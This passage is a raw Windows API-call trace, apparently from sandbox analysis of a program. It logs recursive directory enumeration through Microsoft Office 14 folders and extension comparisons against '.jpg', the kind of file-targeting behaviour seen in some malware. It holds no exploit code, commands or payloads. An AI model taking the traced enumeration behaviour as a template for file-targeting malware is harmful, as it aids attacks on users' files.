5 [0140.864] lstrcmpiW (lpString1=".dotx", lpString2="e.jpg") returned -1 [0140.864] lstrlenW (lpString=".dpx") returned 4 [0140.864] lstrcmpiW (lpString1=".dpx", lpString2=".jpg") returned -1 [0140.864] lstrlenW (lpString=".dqy") returned 4 [0140.864] lstrcmpiW (lpString1=".dqy", lpString2=".jpg") returned -1 [0140.864] lstrlenW (lpString=".dsn") returned 4 [0140.864] lstrcmpiW (lpString1=".dsn", lpString2=".jpg") returned -1 [0140.864] lstrlenW (lpString=".dt") returned 3 [0140.864] lstrcmpiW (lpString1=".dt", lpString2="jpg") returned -1 [0140.864] lstrlenW (lpString=".dtd") returned 4 [0140.864] lstrcmpiW (lpString1=".dtd", lpString2=".jpg") returned -1 [0140.864] lstrlenW (lpString=".dwg") returned 4 [0140.864] lstrcmpiW (lpString1=".dwg", lpString2=".jpg") returned -1 [0140.864] lstrlenW (lpString=".dwt") returned 4 [0140.864] lstrcmpiW (lpString1=".dwt", lpString2=".jpg") returned -1 [0140.864] lstrlenW (lpString=".dx") returned 3 [0140.864] lstrcmpiW (lpString1=".dx", lpString2="jpg") returned -1 [0140.864] lstrlenW (lpString=".dxf") returned 4 [0140.864] lstrcmpiW (lpString1=".dxf", lpString2=".jpg") returned -1 [0140.864] lstrlenW (lpString=".edml") returned 5 [0140.864] lstrcmpiW (lpString1=".edml", lpString2="e.jpg") returned -1 [0140.865] lstrlenW (lpString=".efd") returned 4 [0140.865] lstrcmpiW (lpString1=".efd", lpString2=".jpg") returned -1 [0140.865] lstrlenW (lpString=".elf") returned 4 [0140.865] lstrcmpiW (lpString1=".elf", lpString2=".jpg") returned -1 [0140.865] lstrlenW (lpString=".emf") returned 4 [0140.865] lstrcmpiW (lpString1=".emf", lpString2=".jpg") returned -1 [0140.865] lstrlenW (lpString=".emz") returned 4 [0140.865] lstrcmpiW (lpString1=".emz", lpString2=".jpg") returned -1 [0140.865] lstrlenW (lpString=".epf") returned 4 [0140.865] lstrcmpiW (lpString1=".epf", lpString2=".jpg") returned -1 [0140.865] lstrlenW (lpString=".eps") returned 4 [0140.865] lstrcmpiW (lpString1=".eps", lpString2=".jpg") returned -1 [0140.865] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0140.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x426df68 | out: hHeap=0x300000) returned 1 [0140.866] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0140.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0141.074] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.074] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0141.075] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0141.716] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.716] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1 [0141.717] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0141.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x429df80 | out: hHeap=0x300000) returned 1 [0141.719] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0141.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0141.743] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.743] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="CUSTOM~1.FDT")) returned 1 [0141.744] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0141.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x429df80 | out: hHeap=0x300000) returned 1 [0141.745] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0141.746] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0141.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x426df68 | out: hHeap=0x300000) returned 1 [0141.746] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0141.747] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0141.776] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.776] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0141.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0141.785] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.785] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0141.786] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x327e6a4 | out: lpFindFileData=0x327e6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0141.787] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327e6a4 | out: lpFindFileData=0x327e6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.787] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327e6a4 | out: lpFindFileData=0x327e6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0143.525] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0143.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0143.584] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0143.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0143.585] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.585] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0143.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0143.585] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.585] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1 [0143.585] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0143.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0143.585] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0143.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0143.586] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.586] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1 [0143.586] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0143.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0143.586] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0143.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0143.586] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.586] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1 [0143.586] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0143.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0143.586] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1 [0143.588] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0143.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0143.588] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0143.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0143.589] FindNextFileW (in: 